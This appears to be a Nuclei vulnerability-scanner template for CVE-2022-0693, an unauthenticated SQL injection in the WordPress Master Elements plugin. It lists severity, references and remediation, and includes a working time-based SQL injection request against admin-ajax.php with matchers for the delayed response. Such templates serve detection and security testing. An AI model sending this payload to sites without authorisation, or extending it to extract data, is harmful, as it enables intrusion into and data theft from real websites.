id: CVE-2022-0693 info: name: WordPress Master Elements <=8.0 - SQL Injection author: theamanrawat severity: critical description: | WordPress Master Elements plugin through 8.0 contains a SQL injection vulnerability. The plugin does not validate and escape the meta_ids parameter of its remove_post_meta_condition AJAX action, available to both unauthenticated and authenticated users, before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or further compromise of the WordPress site. remediation: | Update to the latest version of WordPress Master Elements plugin (>=8.1) to mitigate the SQL Injection vulnerability. reference: - https://wpscan.com/vulnerability/a72bf075-fd4b-4aa5-b4a4-5f62a0620643 - https://wordpress.org/plugins/master-elements - https://nvd.nist.gov/vuln/detail/CVE-2022-0693 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-0693 cwe-id: CWE-89 epss-score: 0.01757 epss-percentile: 0.86579 cpe: cpe:2.3:a:devbunch:master_elements:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 1 vendor: devbunch product: master_elements framework: wordpress tags: unauth,wpscan,wp-plugin,wp,sqli,wordpress,master-elements,cve,cve2022,devbunch http: - raw: - | @timeout: 10s GET /wp-admin/admin-ajax.php?meta_ids=1+AND+(SELECT+3066+FROM+(SELECT(SLEEP(6)))CEHy)&action=remove_post_meta_condition HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'duration>=6' - 'status_code == 200' - 'contains(body, "Post Meta Setting Deleted Successfully")' condition: and # digest: 490a0046304402207293b7972c51304bc5f89406bef85565cd57a89667e2d063d208ea4e3164bc0502201dc0360ea48915de030e953688fafe90f7c3164f8ecc40ee85cfc78e1c699587:922c64590222798bb761d5b6d8e72950